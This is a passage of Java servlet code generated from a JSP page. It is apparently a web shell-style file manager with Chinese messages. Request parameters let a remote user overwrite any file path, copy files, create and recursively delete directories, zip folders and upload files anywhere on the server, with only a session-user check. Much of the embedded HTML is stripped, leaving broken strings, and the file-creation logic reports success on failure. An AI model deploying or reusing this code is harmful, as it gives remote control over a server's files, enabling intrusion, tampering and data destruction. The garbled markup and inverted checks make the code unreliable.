\r\n");
sbEdit
.append("\r\n");
sbEdit.append("\r\n");
sbEdit.append("\r\n");
sbEdit.append(" ");
sbEdit.append(" " + strPath
+ "\r\n");
sbEdit
.append("
");
sbEdit.append("");
sbEdit.append("");
}
if (strAction != null && strAction.equals("save")) {
File f = new File(strPath);
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
new FileOutputStream(f)));
String strContent = request.getParameter("content");
bw.write(strContent);
bw.close();
}
if (strAction != null && strAction.equals("copy")) {
sbCopy
.append("
");
}
if (strAction != null && strAction.equals("savecopy")) {
File f = new File(strPath);
String strDesFile = request.getParameter("file2");
if (strDesFile == null || strDesFile.equals("")) {
sbSaveCopy.append("目标文件错误。");
} else {
File f_des = new File(strDesFile);
if (f_des.isFile()) {
sbSaveCopy
.append("
目标文件已存在,不能复制。");
} else {
String strTmpFile = strDesFile;
if (f_des.isDirectory()) {
if (!strDesFile.endsWith("\\")) {
strDesFile = strDesFile + "\\";
}
strTmpFile = strDesFile + "cqq_" + strFile;
}
File f_des_copy = new File(strTmpFile);
FileInputStream in1 = new FileInputStream(f);
FileOutputStream out1 = new FileOutputStream(f_des_copy);
byte[] buffer = new byte[1024];
int c;
while ((c = in1.read(buffer)) != -1) {
out1.write(buffer, 0, c);
}
in1.close();
out1.close();
sbSaveCopy.append("原始文件 :" + strPath + "
");
sbSaveCopy.append("目标文件 :" + strTmpFile + "
");
sbSaveCopy.append("复制成功!");
}
}
sbSaveCopy
.append("
");
}
if (strAction != null && strAction.equals("newFile")) {
String strF = request.getParameter("fileName");
String strType1 = request.getParameter("btnNewFile");
String strType2 = request.getParameter("btnNewDir");
String strType = "";
if (strType1 == null) {
strType = "Dir";
} else if (strType2 == null) {
strType = "File";
}
if (!strType.equals("") && !(strF == null || strF.equals(""))) {
File f_new = new File(strF);
if (strType.equals("File") && !f_new.createNewFile())
sbNewFile.append(strF + " 文件创建成功");
if (strType.equals("Dir") && !f_new.mkdirs())
sbNewFile.append(strF + " 目录创建成功");
} else {
sbNewFile.append("
建立文件或目录出错。");
}
}
if (null!=strAction && "delFolder".equals(strAction)){
String folder = request.getParameter("path");
File dir = new File(folder);
delFolder(dir);
sbDelFolder.append("目录删除成功");
}
if (null != strAction && "zipFolder".equals(strAction)) {
String inFolder = request.getParameter("path");
String outFolder = request.getParameter("file");
ZipFolder.zipDirectory(inFolder, outFolder);
sbZip.append("
目录压缩成功,压缩文件路径为:" + outFolder + "
");
}
if ((request.getContentType() != null)
&& (request.getContentType().toLowerCase()
.startsWith("multipart"))) {
String tempdir = ".";
response.setContentType("text/html");
sbNewFile.append("建立文件或目录出错。");
HttpMultiPartParser parser = new HttpMultiPartParser();
int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(),
bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null) {
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted) {
f1.delete();
request.setAttribute("error", "Upload aborted");
} else {
String path = (String) ht.get("path");
if (path != null && !path.endsWith("\\"))
path = path + "\\";
if (!f1.renameTo(new File(path + f1.getName()))) {
request
.setAttribute("error",
"Cannot upload file.");
f1.delete();
}
}
}
}
out.write("\r\n");
out.write("\r\n");
out.write("\t
\r\n");
out.write("\t\t\r\n");
out.write("\t\t\r\n");
if (user != null) {
out.write("\r\n");
out.write("\r\n");
out.write("\r\n");
}
out.write("\r\n");
out.write("\r\n");
out.write("\t\r\n");
out.write("\t\t");
if (user == null) {
out.write("\r\n");
out.write("\t\t\r\n");
out.write("\t\t");
} else {
out.write("\r\n");
out.write("\t\t\r\n");
out.write("\t\t\r\n");
out.write("\t\t\r\n");
out.write("\t\t\r\n");
out.write("\t\t");
StringBuffer sbFolder = new StringBuffer("");
StringBuffer sbFile = new StringBuffer("");
try {
File objFile = new File(strDir);
if(!objFile.exists()){
strDir = strDir.substring(0,strDir.lastIndexOf("\\"));
objFile = new File(strDir);
}
File list[] = objFile.listFiles();
if (objFile.getAbsolutePath().length() > 3) {
sbFolder
.append(" | ");
sbFolder.append(strParentFolder[languageNo]);
sbFolder.append("");
sbFolder.append(" ");
sbFolder.append(zipFolderProperty[languageNo]);
sbFolder.append("");
sbFolder.append(" ");
sbFolder.append("- - - - - - - - - - - |
\r\n");
}
for (int i = 0; i < list.length; i++) {
if (list[i].isDirectory()) {
sbFolder.append(" | ");
sbFolder.append("");
sbFolder.append(list[i].getName()+ "");
sbFolder.append(" ");
sbFolder.append(strDelFolder[languageNo]+ "");
sbFolder.append("
|
");
} else {
String strLen = "";
String strDT = "";
long lFile = 0;
lFile = list[i].length();
strLen = convertFileSize(lFile);
java.util.Date dt = new java.util.Date(list[i]
.lastModified());
SimpleDateFormat dd = new SimpleDateFormat(
"yyyy-MM-dd hh:mm:ss");
strDT = dd.format(dt);
sbFile
.append("");
sbFile.append("" + list[i].getName());
sbFile.append(" | ");
sbFile.append("" + strLen);
sbFile.append(" | ");
sbFile.append("" + strDT);
sbFile.append(" | ");
for (int temp = 0; temp < 4; temp++) {
String action;
String actionName;
if (temp == 0) {
action = "edit";
actionName = strFileEdit[languageNo];
} else if (temp == 1) {
action = "del";
actionName = strFileDel[languageNo];
} else if (temp == 2) {
action = "down";
actionName = strFileDown[languageNo];
} else {
action = "copy";
actionName = strFileCopy[languageNo];
}
;
sbFile
.append(" ");
sbFile.append(actionName + "");
}
sbFile.append(" |
");
}
}
} catch (Exception e) {
out.println("操作失败: " + e.toString()
+ "");
}
out.write("\r\n");
out.write("\t\t\r\n");
out.write("\t\t\t\r\n");
out.write("\t\t\t\r\n");
out.write("\t\t\t\r\n");
out.write("\t\t\t\r\n");
out.write("\t\t
\r\n");
out.write("\t\t");
}
out.write("\r\n");
out.write("\t\t\r\n");
out.write("\t\t\t
\r\n");
out.write("\t\t
\r\n");
out.write("\t\r\n");
out.write("");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
else log(t.getMessage(), t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}